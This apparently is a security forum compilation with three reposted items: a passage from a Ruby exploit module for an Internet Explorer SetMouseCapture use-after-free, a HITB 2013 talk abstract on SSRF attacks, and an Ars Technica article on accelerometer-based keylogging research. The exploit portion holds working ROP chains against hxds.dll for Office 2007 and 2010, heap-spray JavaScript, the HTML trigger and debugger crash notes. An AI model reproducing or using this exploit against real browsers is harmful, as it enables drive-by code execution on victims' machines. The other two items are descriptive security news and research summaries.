EDX # RETN [hxds.dll] 0x51c4c17c, # POP ECX # RETN [hxds.dll] 0xffffffc0, 0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll] 0x51c1df88, # NEG EAX # RETN [hxds.dll] 0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll] 0x51c05766, # POP EDI # RETN [hxds.dll] 0x51bfbaaf, # RETN (ROP NOP) [hxds.dll] 0x51c2e77d, # POP ESI # RETN [hxds.dll] 0x51bfc840, # JMP [EAX] [hxds.dll] 0x51c05266, # POP EAX # RETN [hxds.dll] 0x51bd115c, # ptr to &VirtualAlloc() [IAT hxds.dll] 0x51bdf91f, # PUSHAD # RETN [hxds.dll] 0x51c4a9f3, # ptr to 'jmp esp' [hxds.dll] ].pack("V*") when :office2010 rop = [ # 4 dword junks due to the add esp in stack pivot junk, junk, junk, junk, 0x51c41953, # POP EBP # RETN [hxds.dll] 0x51be3a03, # RETN (ROP NOP) [hxds.dll] 0x51c41953, # skip 4 bytes [hxds.dll] 0x51c4486d, # POP EBX # RETN [hxds.dll] 0xffffffff, 0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll] 0x51bd1a77, # INC EAX # RETN [hxds.dll] 0x51bd1a77, # INC EAX # RETN [hxds.dll] 0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll] 0x51bfa298, # POP EDX # RETN [hxds.dll] 0xffffefff, 0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll] 0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll] junk, 0x51bd5382, # DEC EAX # RETN [hxds.dll] 0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll] 0x51c1f094, # POP ECX # RETN [hxds.dll] 0xffffffc0, 0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll] 0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll] junk, 0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll] 0x51bf1ff0, # POP EDI # RETN [hxds.dll] 0x51bd5383, # RETN (ROP NOP) [hxds.dll] 0x51c07c8b, # POP ESI # RETN [hxds.dll] 0x51bfc7cb, # JMP [EAX] [hxds.dll] 0x51c44707, # POP EAX # RETN [hxds.dll] 0x51bd10bc, # ptr to &VirtualAlloc() [IAT hxds.dll] 0x51c3604e, # PUSHAD # RETN [hxds.dll] 0x51c541ef, # ptr to 'jmp esp' [hxds.dll] ].pack("V*") end p = rop + code p end def get_exploit_html(cli, req, rop_dll) gadgets = {} case rop_dll when :office2007 gadgets[:spray1] = 0x1af40020 # 0x31610020-0xc4, pointer to gadgets[:call_eax] gadgets[:target] = 0x3160ff5c # mov eax, [esi] # push esi # call [eax+4] gadgets[:call_eax] = 0x51bd1ce8 # xchg eax,esp # add byte [eax], al # pop esi # mov [edi+23c], ebp # mov [edi+238], ebp # mov [edi+234], ebp # pop ebp # pop ebx # ret gadgets[:pivot] = 0x51be4418 when :office2010 gadgets[:spray1] = 0x1a7f0020 # 0x30200020-0xc4, pointer to gadgets[:call_eax] gadgets[:target] = 0x301fff5c # mov eax, [esi] # push esi # call [eax+4] gadgets[:call_eax] = 0x51bd1a41 # xchg eax,esp # add eax,dword ptr [eax] # add esp,10 # mov eax,esi # pop esi # pop ebp # retn 4 gadgets[:pivot] = 0x51c00e64 end p1 = [ gadgets[:target], # Target address gadgets[:pivot] # stack pivot ].pack("V*") p1 << get_payload(rop_dll) p2 = [ gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax) ].pack("V*") js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*")) js_p1 = Rex::Text.to_unescape(p1) js_p2 = Rex::Text.to_unescape(p2) %Q| <html> <script> #{js_property_spray} function loadOffice() { try{location.href='ms-help://'} catch(e){} } var a = new Array(); function spray() { var obj = ''; for (i=0; i<20; i++) { if (i==0) { obj += unescape("#{js_s1}"); } else { obj += "\\u4242\\u4242"; } } obj += "\\u5555"; for (i=0; i<10; i++) { var e = document.createElement("div"); e.className = obj; a.push(e); } var s1 = unescape("#{js_p1}"); sprayHeap({shellcode:s1, maxAllocs:0x300}); var s2 = unescape("#{js_p2}"); sprayHeap({shellcode:s2, maxAllocs:0x300}); } function hit() { var id_0 = document.createElement("sup"); var id_1 = document.createElement("audio"); document.body.appendChild(id_0); document.body.appendChild(id_1); id_1.applyElement(id_0); id_0.onlosecapture=function(e) { document.write(""); spray(); } id_0['outerText']=""; id_0.setCapture(); id_1.setCapture(); } for (i=0; i<20; i++) { document.createElement("frame"); } window.onload = function() { loadOffice(); hit(); } </script> </html> | end def on_request_uri(cli, request) agent = request.headers['User-Agent'] unless is_win7_ie9?(agent) print_error("Not a suitable target: #{agent}") send_not_found(cli) end html = '' if request.uri =~ /\?dll=(\w+)$/ rop_dll = '' if $1 == 'office2007' print_status("Using Office 2007 ROP chain") rop_dll = :office2007 elsif $1 == 'office2010' print_status("Using Office 2010 ROP chain") rop_dll = :office2010 else print_error("Target does not have Office installed") send_not_found(cli) return end html = get_exploit_html(cli, request, rop_dll) else print_status("Checking target requirements...") html = get_preq_html(cli, request) end send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end def exploit @exploit_page = "default.html" super end end =begin hxds.dll (Microsoft® Help Data Services Module) 2007 DLL info: ProductVersion: 2.05.50727.198 FileVersion: 2.05.50727.198 (QFE.050727-1900) 2010 DLL info: ProductVersion: 2.05.50727.4039 FileVersion: 2.05.50727.4039 (QFE.050727-4000) mshtml.dll ProductVersion: 9.00.8112.16446 FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400) FileDescription: Microsoft (R) HTML Viewer 0:005> r eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34 eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 MSHTML!CTreeNode::GetInterface+0xd8: 679b6b61 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=???????? 66e13df7 8b0e mov ecx,dword ptr [esi] 66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 - 63580000) 66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h] 66e13e01 ffd0 call eax =end Sursa: Microsoft Internet Explorer SetMouseCapture Use-After-Free ? Packet Storm

Hitb 2013 - V. Vorontsov And A. Golovko - Ssrf Pwns - New Techniques And Stories Description: PRESENTATION ABSTRACT: Server request forgery attacks -- SSRF (Server Side Request Forgery) has been known since 2008, but only recently used in practical information security work. Vulnerabilities of this class gives the attacker the ability to send different requests on behalf of the server, which in turn allows you to bypass various network perimeter restrictions giving the attacker the ability to create requests from the vulnerable servers to the intra/internet. Using various protocols supported by available URI schemas in network libraries (such as cURL, LWP and others), attackers can communicate with local and intranet services. SSRF is used, as a rule, to forge HTTP requests, and SMB requests to carry out attacks like SMB relay. We have expanded the spectrum of SSRF attacks to protocols which are not supported by network libraries by default and also collected all SSRF related info into a cheatsheet. We will show attacks on memcached and PHP FactCGI and will talk about the possibility of working directly with sockets of different applications through SSRF and will present various examples of vulnerabilities and exploitation including new techniques for data retrieving using blind SSRF. Part of this presentation will be dedicated to the story of many SSRF-related exploits of Yandex - a leading Internet company in Russia, which operates one of the most popular search engines. ABOUT VLADIMIR VORONTSOV Vladimir Vorontsov is the founder and lead analyst of ONsec. Vladimir has been engaged in research in the field of web applications security since 2004. He is the CEO and lead expert of the ONsec company as well as the author of numerous researches in the field of web application security. He was awarded by Yandex for winning the "vulnerability search month" contest, by Google for Chrome vulnerabilities, by Trustwave for ModSecurity SQLi Challenge, by 1C Bitrix for competition on proactive defense bypass. He is currently actively engaged in the development of a web application firewall system. ABOUT ALEXANDER GOLOVKO Alexander Golovko is security expert of ONsec since 2009. Alexander specializes in network security and operating systems. Also he is active Debian GNU/Linux maintainer. Alexander together with Vladimir are authors of "SSRF bible. Cheatsheet": http://goo.gl/xSoCq For More Information please visit : - HITBSecConf - NETHERLANDS / MALAYSIA Sursa: Hitb 2013 - V. Vorontsov And A. Golovko - Ssrf Pwns - New Techniques And Stories

[h=1]Researchers can keylog your PC using your iPhone’s accelerometer[/h] [h=2]An iPhone's accelerometer is good for more than just games, according to …[/h] by Chris Foresman - Oct 19 2011, 8:45pm GTBST Georgia Tech assistant professor of computer science Patrick Traynor. Image courtesy of Georgia Tech Researchers at Georgia Tech and MIT have developed a proof of concept to demonstrate that it is possible to record a computer user's keystrokes using an iPhone 4's accelerometer. The researchers developed a method to accurately translate the vibrations from typing on a keyboard picked up by the device's accelerometer when placed on a desk near a PC. Though they warn that hackers could potentially use their method to eavesdrop on a user's keystrokes, they believe the actual threat is quite low. The method, detailed in a paper titled “(sp)iPhone: Decoding Vibrations From Nearby Keyboards Using Mobile Phone Accelerometers,” works by interpreting pairs of keystrokes in successive order. According to principal researcher Patrick Traynor, assistant professor at Georgia Tech’s School of Computer Science, the method can't reliably pinpoint single keystrokes. But by characterizing the successive strokes as left-right, right-left, left-left, or right-right, and then whether the pair is nearer or further away form the device, the pairs can be statistically analyzed to represent probably letter pairs. Then those pairs can be compared to a dictionary. According to Traynor, the method is 80 percent accurate with a 58,000 word dictionary. Even that accuracy, though, requires thoroughly modern equipment. “We first tried our experiments with an iPhone 3GS, and the results were difficult to read,” Traynor said in a statement. “But then we tried an iPhone 4, which has an added gyroscope to clean up the accelerometer noise, and the results were much better. We believe that most smartphones made in the past two years are sophisticated enough to launch this attack.” Similar keylogging methods have been developed which use a smartphone's microphone. But malware masquerading as a legitimate app can usually access a smartphone's accelerometer without tripping built-in security features, according to the researchers, which tend to prevent access to a device's sensors without a specific OK from the user. Traynor characterized the likelihood of a smartphone user succumbing to such keyboard eavesdropping as "pretty low." With only 80 percent accuracy, the attack would likely have trouble accurately interpreting usernames or passwords that aren't common dictionary terms. And with an effective range of just three inches, users can easily mitigate any potential threat by keeping their iPhone further away from their keyboard, or off the desk entirely. The paper will be presented Thursday at the currently in progress 18th ACM Conference on Computer and Communications Security in Chicago. Sursa: Researchers can keylog your PC using your iPhone’s accelerometer | Ars Technica